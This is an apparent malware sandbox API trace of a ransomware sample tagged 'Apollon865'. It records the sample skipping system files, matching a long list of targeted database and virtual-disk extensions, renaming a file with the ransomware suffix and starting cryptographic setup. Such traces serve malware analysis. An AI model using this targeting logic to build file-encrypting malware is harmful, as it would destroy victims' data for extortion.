	[0063.815] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3fd670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.815] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.815] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0063.815] lstrlenW (lpString="state.rsm") returned 9
	[0063.815] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned 73
	[0063.815] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0063.815] lstrlenW (lpString="state.rsm") returned 9
	[0063.815] lstrlenW (lpString="Apollon865") returned 10
	[0063.815] lstrlenW (lpString=".dll") returned 4
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0063.815] lstrlenW (lpString=".lnk") returned 4
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0063.815] lstrlenW (lpString=".ini") returned 4
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0063.815] lstrlenW (lpString=".sys") returned 4
	[0063.815] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0063.815] lstrlenW (lpString="state.rsm") returned 9
	[0063.816] lstrlenW (lpString="bak") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0063.816] lstrlenW (lpString="ba_") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0063.816] lstrlenW (lpString="dbb") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0063.816] lstrlenW (lpString="vmdk") returned 4
	[0063.816] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0063.816] lstrlenW (lpString="rar") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0063.816] lstrlenW (lpString="zip") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0063.816] lstrlenW (lpString="tgz") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0063.816] lstrlenW (lpString="vbox") returned 4
	[0063.816] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0063.816] lstrlenW (lpString="vdi") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0063.816] lstrlenW (lpString="vhd") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0063.816] lstrlenW (lpString="vhdx") returned 4
	[0063.816] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0063.816] lstrlenW (lpString="avhd") returned 4
	[0063.816] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0063.816] lstrlenW (lpString="db") returned 2
	[0063.816] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0063.816] lstrlenW (lpString="db2") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0063.816] lstrlenW (lpString="db3") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0063.816] lstrlenW (lpString="dbf") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0063.816] lstrlenW (lpString="mdf") returned 3
	[0063.816] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0063.817] lstrlenW (lpString="mdb") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0063.817] lstrlenW (lpString="sql") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0063.817] lstrlenW (lpString="sqlite") returned 6
	[0063.817] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0063.817] lstrlenW (lpString="sqlite3") returned 7
	[0063.817] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0063.817] lstrlenW (lpString="sqlitedb") returned 8
	[0063.817] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0063.817] lstrlenW (lpString="xml") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0063.817] lstrlenW (lpString="$er") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0063.817] lstrlenW (lpString="4dd") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0063.817] lstrlenW (lpString="4dl") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0063.817] lstrlenW (lpString="^^^") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0063.817] lstrlenW (lpString="abs") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0063.817] lstrlenW (lpString="abx") returned 3
	[0063.817] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0063.817] lstrlenW (lpString="accdb") returned 5
	[0063.817] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0063.817] lstrlenW (lpString="accdc") returned 5
	[0063.817] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0063.817] lstrlenW (lpString="accde") returned 5
	[0063.817] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0063.817] lstrlenW (lpString="accdr") returned 5
	[0063.817] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0063.817] lstrlenW (lpString="accdt") returned 5
	[0063.817] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0063.817] lstrlenW (lpString="accdw") returned 5
	[0063.818] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0063.818] lstrlenW (lpString="accft") returned 5
	[0063.818] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0063.818] lstrlenW (lpString="adb") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.818] lstrlenW (lpString="adb") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.818] lstrlenW (lpString="ade") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0063.818] lstrlenW (lpString="adf") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0063.818] lstrlenW (lpString="adn") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0063.818] lstrlenW (lpString="adp") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0063.818] lstrlenW (lpString="alf") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0063.818] lstrlenW (lpString="ask") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0063.818] lstrlenW (lpString="btr") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0063.818] lstrlenW (lpString="cat") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0063.818] lstrlenW (lpString="cdb") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0063.818] lstrlenW (lpString="ckp") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0063.818] lstrlenW (lpString="cma") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0063.818] lstrlenW (lpString="cpd") returned 3
	[0063.818] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0063.818] lstrlenW (lpString="dacpac") returned 6
	[0063.818] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0063.818] lstrlenW (lpString="dad") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0063.819] lstrlenW (lpString="dadiagrams") returned 10
	[0063.819] lstrlenW (lpString="daschema") returned 8
	[0063.819] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0063.819] lstrlenW (lpString="db-journal") returned 10
	[0063.819] lstrlenW (lpString="db-shm") returned 6
	[0063.819] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0063.819] lstrlenW (lpString="db-wal") returned 6
	[0063.819] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0063.819] lstrlenW (lpString="dbc") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0063.819] lstrlenW (lpString="dbs") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0063.819] lstrlenW (lpString="dbt") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0063.819] lstrlenW (lpString="dbv") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0063.819] lstrlenW (lpString="dbx") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0063.819] lstrlenW (lpString="dcb") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0063.819] lstrlenW (lpString="dct") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0063.819] lstrlenW (lpString="dcx") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0063.819] lstrlenW (lpString="ddl") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0063.819] lstrlenW (lpString="dlis") returned 4
	[0063.819] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0063.819] lstrlenW (lpString="dp1") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0063.819] lstrlenW (lpString="dqy") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0063.819] lstrlenW (lpString="dsk") returned 3
	[0063.819] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0063.820] lstrlenW (lpString="dsn") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0063.820] lstrlenW (lpString="dtsx") returned 4
	[0063.820] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0063.820] lstrlenW (lpString="dxl") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
	[0063.820] lstrlenW (lpString="eco") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0063.820] lstrlenW (lpString="ecx") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0063.820] lstrlenW (lpString="edb") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0063.820] lstrlenW (lpString="epim") returned 4
	[0063.820] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0063.820] lstrlenW (lpString="fcd") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0063.820] lstrlenW (lpString="fdb") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0063.820] lstrlenW (lpString="fic") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0063.820] lstrlenW (lpString="flexolibrary") returned 12
	[0063.820] lstrlenW (lpString="fm5") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0063.820] lstrlenW (lpString="fmp") returned 3
	[0063.820] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0063.820] lstrlenW (lpString="fmp12") returned 5
	[0063.820] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0063.820] lstrlenW (lpString="fmpsl") returned 5
	[0063.820] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0063.820] lstrlenW (lpString="fol") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0063.821] lstrlenW (lpString="fp3") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0063.821] lstrlenW (lpString="fp4") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0063.821] lstrlenW (lpString="fp5") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0063.821] lstrlenW (lpString="fp7") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0063.821] lstrlenW (lpString="fpt") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0063.821] lstrlenW (lpString="frm") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0063.821] lstrlenW (lpString="gdb") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.821] lstrlenW (lpString="gdb") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.821] lstrlenW (lpString="grdb") returned 4
	[0063.821] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0063.821] lstrlenW (lpString="gwi") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0063.821] lstrlenW (lpString="hdb") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0063.821] lstrlenW (lpString="his") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0063.821] lstrlenW (lpString="ib") returned 2
	[0063.821] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0063.821] lstrlenW (lpString="idb") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0063.821] lstrlenW (lpString="ihx") returned 3
	[0063.821] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0063.821] lstrlenW (lpString="itdb") returned 4
	[0063.821] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0063.821] lstrlenW (lpString="itw") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0063.822] lstrlenW (lpString="jet") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0063.822] lstrlenW (lpString="jtx") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0063.822] lstrlenW (lpString="kdb") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0063.822] lstrlenW (lpString="kexi") returned 4
	[0063.822] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0063.822] lstrlenW (lpString="kexic") returned 5
	[0063.822] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0063.822] lstrlenW (lpString="kexis") returned 5
	[0063.822] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0063.822] lstrlenW (lpString="lgc") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0063.822] lstrlenW (lpString="lwx") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0063.822] lstrlenW (lpString="maf") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0063.822] lstrlenW (lpString="maq") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0063.822] lstrlenW (lpString="mar") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0063.822] lstrlenW (lpString="marshal") returned 7
	[0063.822] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0063.822] lstrlenW (lpString="mas") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0063.822] lstrlenW (lpString="mav") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0063.822] lstrlenW (lpString="maw") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0063.822] lstrlenW (lpString="mdbhtml") returned 7
	[0063.822] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0063.822] lstrlenW (lpString="mdn") returned 3
	[0063.822] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
	[0063.823] lstrlenW (lpString="mdt") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0063.823] lstrlenW (lpString="mfd") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0063.823] lstrlenW (lpString="mpd") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0063.823] lstrlenW (lpString="mrg") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0063.823] lstrlenW (lpString="mud") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0063.823] lstrlenW (lpString="mwb") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0063.823] lstrlenW (lpString="myd") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0063.823] lstrlenW (lpString="ndf") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0063.823] lstrlenW (lpString="nnt") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0063.823] lstrlenW (lpString="nrmlib") returned 6
	[0063.823] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0063.823] lstrlenW (lpString="ns2") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0063.823] lstrlenW (lpString="ns3") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0063.823] lstrlenW (lpString="ns4") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0063.823] lstrlenW (lpString="nsf") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0063.823] lstrlenW (lpString="nv") returned 2
	[0063.823] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0063.823] lstrlenW (lpString="nv2") returned 3
	[0063.823] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0063.823] lstrlenW (lpString="nwdb") returned 4
	[0063.823] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0063.824] lstrlenW (lpString="nyf") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0063.824] lstrlenW (lpString="odb") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.824] lstrlenW (lpString="odb") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.824] lstrlenW (lpString="oqy") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0063.824] lstrlenW (lpString="ora") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0063.824] lstrlenW (lpString="orx") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0063.824] lstrlenW (lpString="owc") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0063.824] lstrlenW (lpString="p96") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0063.824] lstrlenW (lpString="p97") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0063.824] lstrlenW (lpString="pan") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0063.824] lstrlenW (lpString="pdb") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0063.824] lstrlenW (lpString="pdm") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0063.824] lstrlenW (lpString="pnz") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0063.824] lstrlenW (lpString="qry") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0063.824] lstrlenW (lpString="qvd") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0063.824] lstrlenW (lpString="rbf") returned 3
	[0063.824] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0063.824] lstrlenW (lpString="rctd") returned 4
	[0063.824] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0063.824] lstrlenW (lpString="rod") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0063.825] lstrlenW (lpString="rodx") returned 4
	[0063.825] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0063.825] lstrlenW (lpString="rpd") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0063.825] lstrlenW (lpString="rsd") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0063.825] lstrlenW (lpString="sas7bdat") returned 8
	[0063.825] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0063.825] lstrlenW (lpString="sbf") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0063.825] lstrlenW (lpString="scx") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0063.825] lstrlenW (lpString="sdb") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0063.825] lstrlenW (lpString="sdc") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0063.825] lstrlenW (lpString="sdf") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0063.825] lstrlenW (lpString="sis") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0063.825] lstrlenW (lpString="spq") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0063.825] lstrlenW (lpString="te") returned 2
	[0063.825] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0063.825] lstrlenW (lpString="teacher") returned 7
	[0063.825] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0063.825] lstrlenW (lpString="tmd") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0063.825] lstrlenW (lpString="tps") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0063.825] lstrlenW (lpString="trc") returned 3
	[0063.825] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.825] lstrlenW (lpString="trc") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.826] lstrlenW (lpString="trm") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0063.826] lstrlenW (lpString="udb") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0063.826] lstrlenW (lpString="udl") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0063.826] lstrlenW (lpString="usr") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0063.826] lstrlenW (lpString="v12") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0063.826] lstrlenW (lpString="vis") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0063.826] lstrlenW (lpString="vpd") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0063.826] lstrlenW (lpString="vvv") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0063.826] lstrlenW (lpString="wdb") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0063.826] lstrlenW (lpString="wmdb") returned 4
	[0063.826] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0063.826] lstrlenW (lpString="wrk") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0063.826] lstrlenW (lpString="xdb") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0063.826] lstrlenW (lpString="xld") returned 3
	[0063.826] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0063.826] lstrlenW (lpString="xmlff") returned 5
	[0063.826] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0063.826] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Apollon865") returned 92
	[0063.826] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0063.834] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.835] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=666) returned 1
	[0063.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.837] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.838] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
